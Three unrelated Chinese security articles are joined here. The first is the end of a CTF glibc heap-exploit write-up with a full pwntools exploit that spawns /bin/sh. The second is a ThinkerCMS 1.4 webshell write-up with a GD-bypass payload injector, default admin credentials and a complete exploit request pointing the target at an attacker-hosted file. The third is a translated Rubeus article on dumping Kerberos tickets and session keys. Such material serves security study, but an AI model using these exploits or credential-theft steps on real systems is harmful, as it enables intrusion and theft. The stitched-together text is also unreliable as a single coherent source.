4. 利用 Backdoor 4 的功能创建一个大小为 0x3918 的堆块
5. 利用 Backdoor 3 的功能把这个堆块释放，此时在 __free_hook 处的内容为 fastbinsY 溢出的堆块指针
6. 利用 Backdoor 2 的功能在这个堆块的 fd 位置写入 system 的函数指针
7. 利用 Backdoor 1 的功能把这个堆块申请出来，这时候此堆块 fd 位置的内容会进入 fastbinsY，也就时 __free_hook 处会存在一个 system 函数指针。
8. 再把提前构造好的 /bin/sh 给 free 掉，就会触发 system(‘/bin/sh’)
### Exp
import base64
from pwn import *
elf = None
libc = None
file_name = "./Maybe_fun_game_3"
# context.timeout = 1
def get_file(dic=""):
context.binary = dic + file_name
return context.binary
def get_libc(dic=""):
libc = None
try:
data = os.popen("ldd {}".format(dic + file_name)).read()
for i in data.split('\n'):
libc_info = i.split("=>")
if len(libc_info) == 2:
if "libc" in libc_info[0]:
libc_path = libc_info[1].split(' (')
if len(libc_path) == 2:
libc = ELF(libc_path[0].replace(' ', ''), checksec=False)
return libc
except:
pass
if context.arch == 'amd64':
libc = ELF("/home/cnitlrt/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6", checksec=False)
elif context.arch == 'i386':
try:
libc = ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
except:
libc = ELF("/lib32/libc.so.6", checksec=False)
return libc
def get_sh(Use_other_libc=False, Use_ssh=False):
global libc
if args['REMOTE']:
if Use_other_libc:
libc = ELF("./libc.so.6", checksec=False)
if Use_ssh:
s = ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
return s.process(file_name)
else:
if ":" in sys.argv[1]:
r = sys.argv[1].split(':')
return remote(r[0], int(r[1]))
return remote(sys.argv[1], int(sys.argv[2]))
else:
return process(file_name)
def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
int_mode=False):
if start_string != None:
sh.recvuntil(start_string)
if libc == True:
if info == None:
info = 'libc_base:\t'
return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
elif int_mode:
return_address = int(sh.recvuntil(end_string, drop=True), 16)
elif address_len != None:
return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
elif context.arch == 'amd64':
return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
else:
return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
if offset != None:
return_address = return_address + offset
if info != None:
log.success(info + str(hex(return_address)))
return return_address
def get_flag(sh):
try:
sh.recvrepeat(0.1)
sh.sendline('cat flag')
return sh.recvrepeat(0.3)
except EOFError:
return ""
def get_gdb(sh, addr=None, gdbscript=None, stop=False):
if args['REMOTE']:
return
if gdbscript is not None:
gdb.attach(sh, gdbscript)
elif addr is not None:
gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
else:
gdb.attach(sh)
if stop:
raw_input()
def Attack(target=None, elf=None, libc=None):
global sh
if sh is None:
from Class.Target import Target
assert target is not None
assert isinstance(target, Target)
sh = target.sh
elf = target.elf
libc = target.libc
assert isinstance(elf, ELF)
assert isinstance(libc, ELF)
try_count = 0
while try_count < 30:
try_count += 1
try:
pwn(sh, elf, libc)
break
except KeyboardInterrupt:
break
except EOFError:
sh.close()
if target is not None:
sh = target.get_sh()
target.sh = sh
if target.connect_fail:
return 'ERROR : Can not connect to target server!'
else:
sh = get_sh()
flag = get_flag(sh)
return flag
def decode(data):
print data
try:
t = base64.b64decode(data)
assert t[:8] == 'wwnalnal'
size = u64(t[8:0x10])
t = t[0x10:]
for i in range(0xFE, 0x4F, -2):
rnd1 = ord(t[i + 1: i + 2])
rnd2 = ord(t[rnd1: rnd1 + 1])
t = t[:rnd1] + t[rnd1 + 1: i + 1] + '\xFF' + t[i + 1:]
for j in range(i):
t = t[:j] + chr(ord(t[j: j + 1]) ^ rnd2) + t[j + 1:]
return t[:size]
except:
pass
def encode_data(data):
t = data.ljust(0x100, '\xFF')
for i in range(0x50, 0x100, 2):
rnd1 = 0
rnd2 = 0
t = t[:i] + chr(rnd1) + t[i + 1:]
for j in range(i):
t = t[:j] + chr(ord(t[j: j + 1]) ^ rnd2) + t[j + 1:]
t = t[:rnd1] + chr(rnd2) + t[rnd1: i + 1] + t[i + 2:]
return t
def encode(data):
return base64.b64encode(p64(0x6C616E6C616E7777) + p64(len(data)) + encode_data(data).ljust(0x100, '\xFF'))
def pack_struct(data):
return base64.b64encode(p64(0x6C616E6C616E7777) + p64(0x0) + data)
def getline():
return decode(sh.recvline())
def recvuntil(t):
try:
while True:
data = getline()
if data == None:
raise EOFError
print data
if t in data:
return
except:
pass
def senddata(t, type=1):
if type == 0:
data = pack_struct(t)
else:
data = encode(t)
sh.sendline(data)
def choice(idx):
recvuntil('Choice')
senddata(str(idx))
def add(size, content):
choice(1)
recvuntil('[Create]Size?')
senddata(str(size))
recvuntil('[Create]Content?')
senddata(content, 0)
recvuntil('[Create]Done!')
def delete(idx):
choice(2)
recvuntil('[Delete]Index?')
senddata(str(idx))
recvuntil('[Delete]Done!')
def edit(idx, content):
choice(3)
recvuntil('[Edit]Index?')
senddata(str(idx))
recvuntil('[Edit]Content?')
senddata(content, 0)
recvuntil('[Edit]Done!')
def show(idx):
choice(4)
recvuntil('[Query]Index?')
senddata(str(idx))
return getline()
def pwn(sh, elf, libc):
# context.log_level = "debug"
sh.recvuntil('>>>>>>>>>>>>>>>>>>>>>\n')
add(0x18, 'a' * 0x100)
add(0x4f, encode_data('a' * 0x18))
add(0x18, '\xE8' * 0x100)
choice(5)
recvuntil('[backdoor_msg]Size?')
senddata(str(0x3918))
edit(1, '\x00' * 0x50 + '\xE8' * 0x50)
delete(1)
edit(2, '\xE8' * 0x100)
show(2)
leak_data = show(1)
log.hexdump(leak_data)
leak_idx = leak_data.find('\x7f')
if leak_idx < 5:
leak_idx = leak_data.find('\x7f')
libc_base = u64(leak_data[leak_idx - 5: leak_idx + 1].ljust(8, '\x00')) - 0x3c4b78
if libc_base & 0xfff != 0:
raise EOFError
log.success("libc_base:\t" + hex(libc_base))
pause()
global_max_fast = libc_base + 0x3c67f8
system_addr = libc_base + 0x453a0
edit(1, p64(libc_base + 0x3c4b78) + p64(global_max_fast - 0x10))
add(0x18, 'a' * 0x100) # 3
edit(3, p64(libc_base + 0x3c4b78) * 2)
edit(0, "/bin/sh\x00" * 2)
choice(5)
choice(5)
recvuntil('[backdoor_msg]Content?')
senddata(p64(system_addr) * 2, 0)
choice(5)
choice(2)
recvuntil('[Delete]Index?')
senddata(str(0))
sh.interactive()
if __name__ == "__main__":
sh = get_sh()
flag = Attack(elf=get_file(), libc=get_libc())
sh.close()
if flag != "":
log.success('The flag is ' + re.search(r'flag{.+}', flag).group())
## 总结
House of Corrosion 的利用思想还是在 LIBC 附近写堆地址，但是这种方法通过这样一种相对位置的方式来把 LIBC
偏移给抵消了，并且通过一定的爆破，降低了在初步攻击时所需要的条件，这样的简单方便的利用方法还有很多开发的空间，值得大家进一步的学习和挖掘。
## 参考资料
1. [House of Corrosionの 解説](https://ptr-yudai.hatenablog.com/entry/2019/10/19/002039)
2. [第七届“湖湘杯” House _OF _Emma | 设计思路与解析](https://www.anquanke.com/post/id/260614)
3. [新版本 glibc 下的 IO_FILE 攻击](https://www.anquanke.com/post/id/216290)
4. [house of banana](https://www.anquanke.com/post/id/222948) | 社区文章 |
**漏洞描述**
ThinkerPHP，由thinker 开发维护。
基于thinkphp3.2开发的一款部分开源的cms系统，前期是仿的phpcms系统，后在在模仿基础上对界面等做了优化。
thinkphp3.2的优势在于相对应phpcms用更少的代码实现更多的功能， 基于命名空间的相对较新的架构以及拥有更好的底层扩展性。
ThinkerPHP希望融合phpcms和thinkphp3.2的优点并志在收获一个扩展性好、开发效率高、用户体验佳、底层扩展性好的快速开发系统。
在开发过程中作者一直秉承专注、专业、专心的精神，不断完善。
ThinkerCMS1.4 （最新版）InputController.class.php
页面由于对$_POST等参数没有进行有效的判断和过滤，导致存在任意代码执行漏洞，允许攻击者利用漏洞全完获取Webshell权限。
### 审计与溯源发现危险代码块
①漏洞触发位置
文件位置: D:\WWW\Modules\Plug\Controller\InputController.class.php （67行）
触发函数： public function cropzoomUpload()
public function cropzoomUpload()
{
if(session("userinfo")==NULL)E('没有登陆！');
load('@.cropzoom');
list($width, $height) = getimagesize($_POST["imageSource"]);
$viewPortW = $_POST["viewPortW"];
$viewPortH = $_POST["viewPortH"];
$pWidth = $_POST["imageW"];
$pHeight = $_POST["imageH"];
$ext = end(explode(".",$_POST["imageSource"]));
$function = returnCorrectFunction($ext);
$image = $function($_POST["imageSource"]);
$width = imagesx($image);
$height = imagesy($image);
// Resample
$image_p = imagecreatetruecolor($pWidth, $pHeight);
setTransparency($image,$image_p,$ext);
imagecopyresampled($image_p, $image, 0, 0, 0, 0, $pWidth, $pHeight, $width, $height);
imagedestroy($image);
$widthR = imagesx($image_p);
$hegihtR = imagesy($image_p);
$selectorX = $_POST["selectorX"];
$selectorY = $_POST["selectorY"];
if($_POST["imageRotate"]){
$angle = 360 - $_POST["imageRotate"];
$image_p = imagerotate($image_p,$angle,0);
$pWidth = imagesx($image_p);
$pHeight = imagesy($image_p);
//print $pWidth."---".$pHeight;
$diffW = abs($pWidth - $widthR) / 2;
$diffH = abs($pHeight - $hegihtR) / 2;
$_POST["imageX"] = ($pWidth > $widthR ? $_POST["imageX"] - $diffW : $_POST["imageX"] + $diffW);
$_POST["imageY"] = ($pHeight > $hegihtR ? $_POST["imageY"] - $diffH : $_POST["imageY"] + $diffH);
}
$dst_x = $src_x = $dst_y = $src_y = 0;
if($_POST["imageX"] > 0){
$dst_x = abs($_POST["imageX"]);
}else{
$src_x = abs($_POST["imageX"]);
}
if($_POST["imageY"] > 0){
$dst_y = abs($_POST["imageY"]);
}else{
$src_y = abs($_POST["imageY"]);
}
$viewport = imagecreatetruecolor($_POST["viewPortW"],$_POST["viewPortH"]);
setTransparency($image_p,$viewport,$ext);
imagecopy($viewport, $image_p, $dst_x, $dst_y, $src_x, $src_y, $pWidth, $pHeight);
imagedestroy($image_p);
$selector = imagecreatetruecolor($_POST["selectorW"],$_POST["selectorH"]);
setTransparency($viewport,$selector,$ext);
imagecopy($selector, $viewport, 0, 0, $selectorX, $selectorY,$_POST["viewPortW"],$_POST["viewPortH"]);
//获取图片内容
//var_dump($_POST);
ob_start();
parseImage($ext,$selector);
$img = ob_get_contents();
ob_end_clean();
if(filter_var($_POST["imageSource"], FILTER_VALIDATE_URL))
{
$urlinfo=parse_url($_POST["imageSource"]);
$path=$urlinfo['path'];
$pathinfo=pathinfo($path);
}
else
{
$path=$_POST["imageSource"];
$pathinfo=pathinfo($_POST["imageSource"]);
}
$file_name=$pathinfo['filename'].'_crop.'.$pathinfo['extension'];//剪切后的图片名称
$file_path='.'.$pathinfo['dirname'].'/'.$file_name;
file_put_contents($file_path, $img);
echo C('upload_host').$pathinfo['dirname'].'/'.$file_name;
imagedestroy($viewport);
}
在这里我们可以观察发现 public function cropzoomUpload()函数的大概操作流程:
1.接受了包括`$_POST["viewPortW"]`，`$_POST["viewPortH"]`，`$_POST["imageSource"]`等一系列的图片剪切的参数
2.使用这些参数，并调用`php-GD`库对图片进行渲染和处理
3.将处理后的图片输出到缓冲区，将缓冲区作为图片的内容
4.然后将再根据`$_POST["imageSource"]`参数进行pathinfo处理，将结果存到$pathinfo，并组合成为写文件的路径`$file_path`
5.将缓冲区内容通过file_put_contents写入指定的`$file_path`（此处直接写入Webshell，获取Web权限）
②ByPass （绕过文件后缀名检测，绕过php-GD对图片的渲染和处理导致webshell代码错位失效）
绕过文件后缀名检测
cropzoom 图片剪切相关的函数
文件位置: D:\WWW\Modules\Plug\Common\cropzoom.php
<?php
/*
* cropzoom 图片剪切相关的函数
*/
function determineImageScale($sourceWidth, $sourceHeight, $targetWidth, $targetHeight) {
$scalex = $targetWidth / $sourceWidth;
$scaley = $targetHeight / $sourceHeight;
return min($scalex, $scaley);
}
function returnCorrectFunction($ext){
$function = "";
switch($ext){
case "png":
$function = "imagecreatefrompng";
break;
case "jpeg":
$function = "imagecreatefromjpeg";
break;
case "jpg":
$function = "imagecreatefromjpeg";
break;
case "gif":
$function = "imagecreatefromgif";
break;
}
return $function;
}
function parseImage($ext,$img){
switch($ext){
case "png":
return imagepng($img);
break;
case "jpeg":
return imagejpeg($img);
break;
case "jpg":
return imagejpeg($img);
break;
case "gif":
return imagegif($img);
break;
}
}
function setTransparency($imgSrc,$imgDest,$ext){
if($ext == "png" || $ext == "gif"){
$trnprt_indx = imagecolortransparent($imgSrc);
// If we have a specific transparent color
if ($trnprt_indx >= 0) {
// Get the original image's transparent color's RGB values
$trnprt_color = imagecolorsforindex($imgSrc, $trnprt_indx);
// Allocate the same color in the new image resource
$trnprt_indx = imagecolorallocate($imgDest, $trnprt_color['red'], $trnprt_color['green'], $trnprt_color['blue']);
// Completely fill the background of the new image with allocated color.
imagefill($imgDest, 0, 0, $trnprt_indx);
// Set the background color for new image to transparent
imagecolortransparent($imgDest, $trnprt_indx);
}
// Always make a transparent background color for PNGs that don't have one allocated already
elseif ($ext == "png") {
// Turn off transparency blending (temporarily)
imagealphablending($imgDest, true);
// Create a new transparent color for image
$color = imagecolorallocatealpha($imgDest, 0, 0, 0, 127);
// Completely fill the background of the new image with allocated color.
imagefill($imgDest, 0, 0, $color);
// Restore transparency blending
imagesavealpha($imgDest, true);
}
}
}
?>
对文件后缀名的处理包括主要通过`$_POST["imageSource"]`这个变量的值，包括两部分
1.获取`$_POST["imageSource"]的值`，使用end和explode获得路径的后缀，根据路径后缀使用对应的php-GD库函数进行处理
$ext = end(explode(".",$_POST["imageSource"]));
$function = returnCorrectFunction($ext);
$image = $function($_POST["imageSource"]);
2.同样是根据的`$_POST["imageSource"]`值进行判断进入不同的分支，然后组合成为`$file_path
（file_put_contents的路径参数）`
if(filter_var($_POST["imageSource"], FILTER_VALIDATE_URL))
{
$urlinfo=parse_url($_POST["imageSource"]);
$path=$urlinfo['path'];
$pathinfo=pathinfo($path);
}
else
{
$path=$_POST["imageSource"];
$pathinfo=pathinfo($_POST["imageSource"]);
}
$file_name=$pathinfo['filename'].'_crop.'.$pathinfo['extension'];//剪切后的图片名称
$file_path='.'.$pathinfo['dirname'].'/'.$file_name;
file_put_contents($file_path, $img);
绕过办法，令`$_POST["imageSource"]`为
> <<http://127.0.0.1/payload_faith4444_crop.php?1.jpg>
1、使用end函数 所以加入使用 ?1.jpg
作为请求的参数进行绕过，不然会因为找不到函数报错终止。因为程序会调用returnCorrectFunction()函数根据后缀（此处为JPG）进行调用其他php-GD函数
2、因为使用的pathinfo()处理`$_POST["imageSource"]`，所以 前半部分为 payload_faith4444_crop.php
至此，成功绕过文件后缀名检测
绕过php-GD对图片的渲染和处理导致webshell代码错位失效(此处参考索马里海盗方法)
图片会经过php-GD处理，会导致webshell语句错位失效，如何在处理后仍然保留shell语句呢？
在正常图片中插入shell并无视GD图像库的处理，常规方法有两种
1、对比两张经过php-gd库转换过的gif图片，如果其中存在相同之处，这就证明这部分图片数据不会经过转换。然后我可以注入代码到这部分图片文件中，最终实现远程代码执行
2、利用php-gd算法上的问题进行绕过
这里我们选择第二种，使用脚本进行处理图片并绕过
1、上传一张jpg图片，然后把网站处理完的图片再下回来 比如x.jpg
2、执行图片处理脚本脚本进行处理 php jpg_payload.php x.jpg
3、如果没出错的话，新生成的文件再次经过gd库处理后，仍然能保留webshell代码语句
tips：
1、图片找的稍微大一点 成功率更高
2、shell语句越短成功率越高
3、一张图片不行就换一张 不要死磕
图片处理脚本，还有具体操作会在验证部分详细写出！！！
### 测试与利用
漏洞复现材料（cms源码，攻击脚本，攻击图片） ：链接：<http://pan.baidu.com/s/1eSmtiSE> 密码：tsna
（自己的php-web环境的vps上,一定要是phpweb环境（并开启短标签），phpweb环境（并开启短标签），其他环境也可，但需要自行构造payload所需的图片）
本地验证
①首先登陆后台
②生成能经过php-GD处理后仍然能够保留webshell语句的图片
首先准备一张图片，并重名faith.php
过GD处理渲染的处理脚本
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations
caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed
image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
php jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another
initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = "<?echo'<?phpinfo();?>';?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
使用脚本进行处理，新生成的文件就能过GD
过GD的新文件 payload_faith.php
然后将新文件放到自己的php-web环境的vps上,一定要是phpweb环境（并开启短标签），phpweb环境（并开启短标签，php默认开启）（因为payload是php语句），其他环境也可，但需要自行构造payload所需的图片
<http://your_vps/payload_faith.php>
③将各个参数补齐，发送最后的Payload
查看原图的长宽高
w=x2=图片宽度
h=y2=图片高度
x1=y1=固定0
根据你自己的图片做调整
④phpinfo()代码执行验证，访问最后的文件，在网站跟目录
### 网络验证
后台地址：<http://xxxxxx/Admin/Index/login.html>
账号密码：admin admin888 弱口令
①直接使用生成好的过GD文件payload_faith.php，并放到自己的vps上面
②发送payload
POST /Plug/Input/cropzoomUpload.html HTTP/1.1
Host: 104.224.134.110
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: PHPSESSID=f8gk8cjfvj1e2to5gplnh5ifi7
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 192
viewPortW=500&viewPortH=334&imageX=0&imageY=0&imageRotate=0&imageW=500&imageH=334&imageSource=http://x.x.x.x/payload_faith.php?1.jpg&selectorX=0&selectorY=0&selectorW=500&selectorH=334
③通过执行phpinfo()进行验证漏洞 | 社区文章 |
# Rubeus - 现在拥有更多的Kekeo功能
|
##### 译文声明
本文是翻译文章，文章原作者 harmj0y，文章来源：harmj0y.net
原文地址：<http://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/>
译文仅供参考，具体内容表达以及含义原文为准。
译者摘要： 本文是[从 Kekeo 到 Rubeus](https://www.anquanke.com/post/id/161781)
的后续，作者继续更新了 Rubeus 项目，实现了更多的 Kekeo 功能。主要介绍了虚假代理 TGT 和 基于 Kerberos
的口令更改等新功能及其原理。
[Rubeus](https://github.com/GhostPack/Rubeus), 是我将 @gentilkiwi 写的
[Kekeo](https://github.com/gentilkiwi/kekeo/) 工具集的部分功能用 C#
重新实现的一个项目。目前已经发布了更新的 1.1.0 版本，并在在 1.2.0
版本中实现了新的功能。此篇文章将会介绍主要的新功能和其他的一些修改，并将深入探讨最酷的新功能 – 虚假代理TGT和基于Kerberos的口令更改。
像以前一样，我想强调 @gentilkiwi 才是这些技术的原创者，此项目只是他的工作的一个重新实现。要不是有
[Kekeo](https://github.com/gentilkiwi/kekeo/)
，我是永远也想不出这些攻击技术的。我发现除非我亲自去实现，否则我无法真正理解某个原理，因此我将继续重新实现 Kekeo 的功能。我将尽量去解释清楚
tgt::deleg/tgtdeleg 和 misc::changepw/changepw 函数（Kekeo 和 Rubeus
都有使用）的底层原理，这样大家都能对 Benjamin 实现的内容有所了解。
但是首先，为了便于讲解我将先介绍一些背景知识。
## 从 TGT 到 .kirbis
正如我们传统上所理解的那样，在 Kerberos 交换中使用一个 hash （ntlm/rc4_hmac, aes128_cts_hmac,
aes256_cts_hmac. .等）从域控（也称为KDC，即密钥分发中心）获取票证授予票证（TGT）。在 Kerberos 语言中，这个交换过程涉及到向
KDC/DC 发送 AS-REQ（身份认证服务请求）进行身份认证，如果成功则将会生成一个 AS-REP
（身份认证服务回复），其中包含一个TGT。但其实它还包含着其他内容。
Big note： TGT 本身是没用的。TGT 是用 Kerberos 服务（krbtgt）哈希加密/签名的不透明 blob
数据，所以普通用户无法将其解码。那么，TGT 实际上是如何使用的呢？
在成功认证用户后返回的 AS-REQ 中，TGT不是唯一的数据块，还有一个”加密的部分”，它是一个被标记的 [EncKDCRepPart
结构](https://github.com/gentilkiwi/kekeo/blob/fd852374dfcfae4ddf5e19e4d8eeb03833f08963/modules/asn1/KerberosV5Spec2.asn#L209-L227)
，使用用户的 hash 进行加密。使用的哈希格式（rc4_hmac, aes256_cts_hmac_sha1, 等）会在初始交换过程中进行协商。当这个
blob 被解密时，它会包含一组元数据，包括启动时间，结束时间，票据的更新期限等，但最重要的是它还会包含一个会话密钥，该密钥同时存在于不透明的 TGT
blob 中（也是被用户的 krbtgt hash 进行加密的）。
那么用户/主机是如何“使用”TGT的呢？它会提供 TGT 和使用会话密钥加密的认证器 ——
这就证明客户端是知道在初始认证交换过程中所返回的会话密钥的（因此也会包含在 TGT 中）。TGT 续订，服务票据请求和 S4U 请求都会需要这个会话密钥。
那么这就说得通了;)
所有这些数据都会包含在一个 KRB-CRED 结构中。这就是 Mimikatz 语言中的 .kirbi 文件，代表通过已建立的 LSA API 提交的完整的
Kerberos 凭证的编码结构。因此，当我们谈论 “TGT” 时，我们实际上指的是可用的 TGT .kirbi
文件（其中包含有明文的会话密钥），而不仅仅是 TGT blob。我们将更深入的介绍一下这个重要区别。
此外，我还想快速地介绍一下从管理员权限和非管理员权限的条件下提取 Kerberos 票据的差异。Rubeus 的 dump 命令将根据 Rubeus
运行时所处的完整性级别来自动采取合适的方法。
如果是管理员权限，则一般的执行方法是：
1. 提取至系统权限。
2. 使用 [LsaRegisterLogonProcess()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsaregisterlogonprocess) （需要SYSTEM权限）注册一个虚假的登录进程。这将向 LSA 服务器返回一个特权句柄。
3. 使用 [LsaEnumerateLogonSessions()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsaenumeratelogonsessions) 枚举当前登陆会话。
4. 对于每个登录会话，构建一个 [KERB_QUERY_TKT_CACHE_REQUEST](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request) 结构，用来表示此登录会话的 logon session ID ，和一个 [KerbQueryTicketCacheMessage](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-_kerb_protocol_message_type) 类型的消息类型。这将返回指定用户的登录会话中所缓存的所有 Kerberos 票据的相关信息。
5. 使用 KERB_QUERY_TKT_CACHE_REQUEST 调用 [LsaCallAuthenticationPackage()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage) ，并解析返回的票据缓存信息。
6. 对于缓存中的每个票据信息位，构建一个 [KERB_RETRIEVE_TKT_REQUEST](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) 结构，此结构包含的内容为：[KerbRetrieveEncodedTicketMessage](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-_kerb_protocol_message_type) 的消息类型，当前正在迭代的登录会话ID，以及当前正在迭代的缓存中的票据所包含的目标服务器（即SPN）。这表明我们需要缓存中指定的服务票据的编码 KRB-CRED (.kirbi) blob 数据。PS – [用C#实现这个的过程比较令人讨厌 😉](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/LSA.cs#L506-L524)
7. 使用 KERB_RETRIEVE_TKT_REQUEST 调用 [LsaCallAuthenticationPackage()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage) 并解析返回的 .kirbi 票据信息。
以上操作将返回当前系统上的登录的所有用户的所有 TGT 和 服务票据的完整 .kirbi blob 数据，无无须打开 LSASS
的读取句柄。当然你也可以选择使用 Mimikatz 的 sekurlsa::tickets /export 命令直接从 LSASS 进程的内存中导出所有的
Kerberos 票据，但是记住，那不是唯一的方法：）
如果你处于非管理员权限，[则与上述的方法略有不同](https://github.com/GhostPack/Rubeus/blob/4c9145752395d48a73faf326c4ae57d2c565be7f/Rubeus/lib/LSA.cs#L685-L935):
1. 使用 [LsaConnectUntrusted()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsaconnectuntrusted) 打开一个与 LSA 的不可信连接；
2. 使用 [KerbQueryTicketCacheMessage](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-_kerb_protocol_message_type) 消息类型构建一个 [KERB_QUERY_TKT_CACHE_REQUEST](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_query_tkt_cache_request)，将返回当前用户的登录会话中缓存的所有 Kerberos 票据信息；
3. 使用 KERB_QUERY_TKT_CACHE_REQUEST 调用 [LsaCallAuthenticationPackage()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage)，并解析返回的缓存票据信息；
4. 对于缓存中的每个票据信息位，构建一个消息类型为 [KerbRetrieveEncodedTicketMessage](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ne-ntsecapi-_kerb_protocol_message_type) 的 [KERB_RETRIEVE_TKT_REQUEST](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/ns-ntsecapi-_kerb_retrieve_tkt_request) 结构，和缓存中我们正在迭代的票据的目标服务器（即SPN）。这表明我们需要缓存中指定的服务票据的编码 KRB-CRED (.kirbi) blob 数据；
5. 使用 KERB_RETRIEVE_TKT_REQUEST 调用 [LsaCallAuthenticationPackage()](https://docs.microsoft.com/en-us/windows/desktop/api/ntsecapi/nf-ntsecapi-lsacallauthenticationpackage) 并解析返回的 .kirbi 票据信息。
如果不是管理员权限，逻辑上只能请求当前登录会话的票据。并且，在 win7 以上系统，Windows 限制了从用户空间对 TGT 会话密钥的提取，所以当转储
TGT 时，你会得到如下结果：
这说明如果没有管理员权限，则无法为当前用户提取到可用 TGT .kirbis，请求到的会话密钥为空。图中 Mimikatz 的输出显示，
[Microsoft 使用一个注册表项(allowtgtsessionkey)](https://support.microsoft.com/en-us/help/308339/registry-key-to-allow-session-keys-to-be-sent-in-kerberos-ticket-grant) 来允许返回 TGT 会话密钥。但是，默认情况下不启用此键值，并且需要管理员权限才能修改。
下文中的 tgtdeleg 章节将解释 Benjamin 绕过此限制的技巧。
返回会话密钥是为了制作服务票据。后面我们将看到其重要性。
## asktgs
